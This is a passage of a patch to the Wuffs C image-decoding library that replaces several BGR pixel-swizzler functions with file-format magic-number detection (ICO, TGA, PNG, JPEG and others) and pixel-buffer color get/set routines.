goto done; -+ } -+ } while (0); - -- // TODO: unroll. -+done: -+ o.num_dst = (size_t)(d_ptr - dst.ptr); -+ o.num_src = (size_t)(s_ptr - src.ptr); -+ return o; -+} - -- while (n >= 1) { -- uint32_t s0 = -- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) - -- s += 1 * 8; -- d += 1 * 3; -- n -= 1; -- } -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) - -- return len; --} -+// ---------------- Magic Numbers - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// ICO doesn't start with a magic identifier. Instead, see if the opening bytes -+// are plausibly ICO. -+// -+// Callers should have already verified that (prefix_data.len >= 2) and the -+// first two bytes are 0x00. -+// -+// See: -+// - https://docs.fileformat.com/image/ico/ -+static int32_t // -+wuffs_base__magic_number_guess_fourcc__maybe_ico( -+ wuffs_base__slice_u8 prefix_data, -+ bool prefix_closed) { -+ // Allow-list for the Image Type field. -+ if (prefix_data.len < 4) { -+ return prefix_closed ? 0 : -1; -+ } else if (prefix_data.ptr[3] != 0) { -+ return 0; -+ } -+ switch (prefix_data.ptr[2]) { -+ case 0x01: // ICO -+ case 0x02: // CUR -+ break; -+ default: -+ return 0; -+ } - -- // TODO: unroll. -+ // The Number Of Images should be positive. -+ if (prefix_data.len < 6) { -+ return prefix_closed ? 0 : -1; -+ } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { -+ return 0; -+ } - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sr = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sb = 0x101 * ((uint32_t)s[0]); -+ // The first ICONDIRENTRY's fourth byte should be zero. -+ if (prefix_data.len < 10) { -+ return prefix_closed ? 0 : -1; -+ } else if (prefix_data.ptr[9] != 0) { -+ return 0; -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ // TODO: have a separate FourCC for CUR? -+ return 0x49434F20; // 'ICO 'be -+} - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+// TGA doesn't start with a magic identifier. Instead, see if the opening bytes -+// are plausibly TGA. -+// -+// Callers should have already verified that (prefix_data.len >= 2) and the -+// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or -+// 0x01. -+// -+// See: -+// - https://docs.fileformat.com/image/tga/ -+// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf -+static int32_t // -+wuffs_base__magic_number_guess_fourcc__maybe_tga( -+ wuffs_base__slice_u8 prefix_data, -+ bool prefix_closed) { -+ // Allow-list for the Image Type field. -+ if (prefix_data.len < 3) { -+ return prefix_closed ? 0 : -1; -+ } -+ switch (prefix_data.ptr[2]) { -+ case 0x01: -+ case 0x02: -+ case 0x03: -+ case 0x09: -+ case 0x0A: -+ case 0x0B: -+ break; -+ default: -+ // TODO: 0x20 and 0x21 are invalid, according to the spec, but are -+ // apparently unofficial extensions. -+ return 0; -+ } - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+ // Allow-list for the Color Map Entry Size field (if the Color Map Type field -+ // is non-zero) or else all the Color Map fields should be zero. -+ if (prefix_data.len < 8) { -+ return prefix_closed ? 0 : -1; -+ } else if (prefix_data.ptr[1] != 0x00) { -+ switch (prefix_data.ptr[7]) { -+ case 0x0F: -+ case 0x10: -+ case 0x18: -+ case 0x20: -+ break; -+ default: -+ return 0; -+ } -+ } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | -+ prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { -+ return 0; -+ } - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+ // Allow-list for the Pixel Depth field. -+ if (prefix_data.len < 17) { -+ return prefix_closed ? 0 : -1; -+ } -+ switch (prefix_data.ptr[16]) { -+ case 0x01: -+ case 0x08: -+ case 0x0F: -+ case 0x10: -+ case 0x18: -+ case 0x20: -+ break; -+ default: -+ return 0; - } - -- return len; -+ return 0x54474120; // 'TGA 'be - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+WUFFS_BASE__MAYBE_STATIC int32_t // -+wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, -+ bool prefix_closed) { -+ // This is similar to (but different from): -+ // - the magic/Magdir tables under https://github.com/file/file -+ // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ - -- // TODO: unroll. -+ // table holds the 'magic numbers' (which are actually variable length -+ // strings). The strings may contain NUL bytes, so the "const char* magic" -+ // value starts with the length-minus-1 of the 'magic number'. -+ // -+ // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer -+ // matches) and finally by magic[2:]. When multiple entries match, the -+ // longest one wins. -+ // -+ // The fourcc field might be negated, in which case there's further -+ // specialization (see § below). -+ static struct { -+ int32_t fourcc; -+ const char* magic; -+ } table[] = { -+ {-0x30302020, "\x01\x00\x00"}, // '00 'be -+ {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ -+ {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD -+ {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 -+ {+0x424D5020, "\x01\x42\x4D"}, // BMP -+ {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF -+ {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) -+ {+0x4C5A4950, "\x04\x4C\x5A\x49\x50\x01"}, // LZIP -+ {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) -+ {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) -+ {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) -+ {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF -+ {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA -+ {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA -+ {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE -+ {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI -+ {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB -+ {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG -+ {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ -+ {+0x4A504547, "\x01\xFF\xD8"}, // JPEG -+ }; -+ static const size_t table_len = sizeof(table) / sizeof(table[0]); - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); -+ if (prefix_data.len == 0) { -+ return prefix_closed ? 0 : -1; -+ } -+ uint8_t pre_first_byte = prefix_data.ptr[0]; - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ int32_t fourcc = 0; -+ size_t i; -+ for (i = 0; i < table_len; i++) { -+ uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); -+ if (pre_first_byte < mag_first_byte) { -+ break; -+ } else if (pre_first_byte > mag_first_byte) { -+ continue; -+ } -+ fourcc = table[i].fourcc; - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); -+ if (mag_remaining_len == 0) { -+ goto match; -+ } - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+ const char* mag_remaining_ptr = table[i].magic + 2; -+ uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; -+ size_t pre_remaining_len = prefix_data.len - 1; -+ if (pre_remaining_len < mag_remaining_len) { -+ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { -+ return prefix_closed ? 0 : -1; -+ } -+ } else { -+ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { -+ goto match; -+ } -+ } -+ } - -- s += 1 * 8; -- d += 1 * 3; -- n -= 1; -+ if (prefix_data.len < 2) { -+ return prefix_closed ? 0 : -1; -+ } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { -+ return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, -+ prefix_closed); - } - -- return len; --} -+ return 0; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_premul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+match: -+ // Negative FourCC values (see § above) are further specialized. -+ if (fourcc < 0) { -+ fourcc = -fourcc; - -- while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s0; -- d[1] = s1; -- d[2] = s2; -+ if (fourcc == 0x52494646) { // 'RIFF'be -+ if (prefix_data.len < 12) { -+ return prefix_closed ? 0 : -1; -+ } -+ uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); -+ if (x == 0x57454250) { // 'WEBP'be -+ return 0x57454250; // 'WEBP'be -+ } - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+ } else if (fourcc == 0x30302020) { // '00 'be -+ // Binary data starting with multiple 0x00 NUL bytes is quite common. -+ // Unfortunately, some file formats also don't start with a magic -+ // identifier, so we have to use heuristics (where the order matters, the -+ // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe -+ // it's TGA, ICO/CUR, etc. Maybe it's something else. -+ int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( -+ prefix_data, prefix_closed); -+ if (tga != 0) { -+ return tga; -+ } -+ int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( -+ prefix_data, prefix_closed); -+ if (ico != 0) { -+ return ico; -+ } -+ if (prefix_data.len < 4) { -+ return prefix_closed ? 0 : -1; -+ } else if ((prefix_data.ptr[2] != 0x00) && -+ ((prefix_data.ptr[2] >= 0x80) || -+ (prefix_data.ptr[3] != 0x00))) { -+ // Roughly speaking, this could be a non-degenerate (non-0-width and -+ // non-0-height) WBMP image. -+ return 0x57424D50; // 'WBMP'be -+ } -+ return 0; -+ } - } -- -- return len; -+ return fourcc; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sr = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sb = 0x101 * ((uint32_t)s[0]); -- -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+#endif // !defined(WUFFS_CONFIG__MODULES) || -+ // defined(WUFFS_CONFIG__MODULE__BASE) || -+ // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) - -- // Composite src (premul) over dst (premul). -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ -+ defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+// ---------------- Pixel Swizzler - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -- } -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len); - -- return len; --} -+static uint64_t // -+wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len); - -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len); - -- // TODO: unroll. -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") -+static uint64_t // -+wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+// -------- - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -- } -+static inline uint32_t // -+wuffs_private_impl__swap_u32_argb_abgr(uint32_t u) { -+ uint32_t o = u & 0xFF00FF00ul; -+ uint32_t r = u & 0x00FF0000ul; -+ uint32_t b = u & 0x000000FFul; -+ return o | (r >> 16) | (b << 16); -+} - -- return len; -+static inline uint64_t // -+wuffs_private_impl__swap_u64_argb_abgr(uint64_t u) { -+ uint64_t o = u & 0xFFFF0000FFFF0000ull; -+ uint64_t r = u & 0x0000FFFF00000000ull; -+ uint64_t b = u & 0x000000000000FFFFull; -+ return o | (r >> 32) | (b << 32); - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+static inline uint32_t // -+wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { -+ uint32_t a = ((uint32_t)(0xFF & (c >> 56))); -+ uint32_t r = ((uint32_t)(0xFF & (c >> 40))); -+ uint32_t g = ((uint32_t)(0xFF & (c >> 24))); -+ uint32_t b = ((uint32_t)(0xFF & (c >> 8))); -+ return (a << 24) | (b << 16) | (g << 8) | (r << 0); -+} - -- // TODO: unroll. -+// -------- - -- while (n >= 1) { -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); -- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // -+wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, -+ uint32_t x, -+ uint32_t y) { -+ if (!pb || (x >= pb->pixcfg.private_impl.width) || -+ (y >= pb->pixcfg.private_impl.height)) { -+ return 0; -+ } - -- s += 1 * 8; -- d += 1 * 3; -- n -= 1; -+ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -+ // TODO: support planar formats. -+ return 0; - } - -- return len; --} -+ size_t stride = pb->private_impl.planes[0].stride; -+ const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ switch (pb->pixcfg.private_impl.pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); - -- // TODO: unroll. -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { -+ uint8_t* palette = pb->private_impl.planes[3].ptr; -+ return wuffs_base__peek_u32le__no_bounds_check(palette + -+ (4 * ((size_t)row[x]))); -+ } - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sb = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sr = 0x101 * ((uint32_t)s[0]); -+ // Common formats above. Rarer formats below. - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -+ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -+ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); -+ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: -+ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ (((uint32_t)(row[(2 * x) + 1])) << 24) | -+ (((uint32_t)(row[(2 * x) + 0])) * 0x00010101)); - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { -+ uint8_t* palette = pb->private_impl.planes[3].ptr; -+ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(palette + -+ (4 * ((size_t)row[x])))); -+ } - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( -+ wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ return 0xFF000000 | -+ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ return 0xFF000000 | -+ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); - -- s += 1 * 4; -- d += 1 * 3; -- n -= 1; -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swap_u32_argb_abgr( -+ 0xFF000000 | -+ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ return wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(row + -+ (4 * ((size_t)x))))); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ return wuffs_private_impl__swap_u32_argb_abgr( -+ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ return wuffs_private_impl__swap_u32_argb_abgr( -+ 0xFF000000 | -+ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); -+ -+ default: -+ // TODO: support more formats. -+ break; - } - -- return len; -+ return 0; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+// -------- - -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status // -+wuffs_base__pixel_buffer__set_color_u32_at( -+ wuffs_base__pixel_buffer* pb, -+ uint32_t x, -+ uint32_t y, -+ wuffs_base__color_u32_argb_premul color) { -+ if (!pb) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if ((x >= pb->pixcfg.private_impl.width) || -+ (y >= pb->pixcfg.private_impl.height)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t dr = 0x101 * ((uint32_t)d[2]); -- uint32_t dg = 0x101 * ((uint32_t)d[1]); -- uint32_t db = 0x101 * ((uint32_t)d[0]); -- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); -+ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { -+ // TODO: support planar formats. -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ } - -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -+ size_t stride = pb->private_impl.planes[0].stride; -+ uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); - -- // Composite src (nonpremul) over dst (premul). -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ switch (pb->pixcfg.private_impl.pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); -+ break; - -- // Convert from 16-bit color to 8-bit color. -- d[0] = (uint8_t)(db >> 8); -- d[1] = (uint8_t)(dg >> 8); -- d[2] = (uint8_t)(dr >> 8); -+ // Common formats above. Rarer formats below. - -- s += 1 * 8; -- d += 1 * 3; -- n -= 1; -- } -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ wuffs_base__poke_u8__no_bounds_check( -+ row + ((size_t)x), -+ wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: -+ wuffs_base__poke_u16le__no_bounds_check( -+ row + (2 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: -+ wuffs_base__poke_u16be__no_bounds_check( -+ row + (2 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); -+ break; -+ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: -+ wuffs_base__poke_u16le__no_bounds_check( -+ row + (2 * ((size_t)x)), -+ wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( -+ color)); -+ break; - -- return len; --} -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: -+ wuffs_base__poke_u8__no_bounds_check( -+ row + ((size_t)x), wuffs_base__pixel_palette__closest_element( -+ wuffs_base__pixel_buffer__palette(pb), -+ pb->pixcfg.private_impl.pixfmt, color)); -+ break; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr__rgba_premul__src(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ 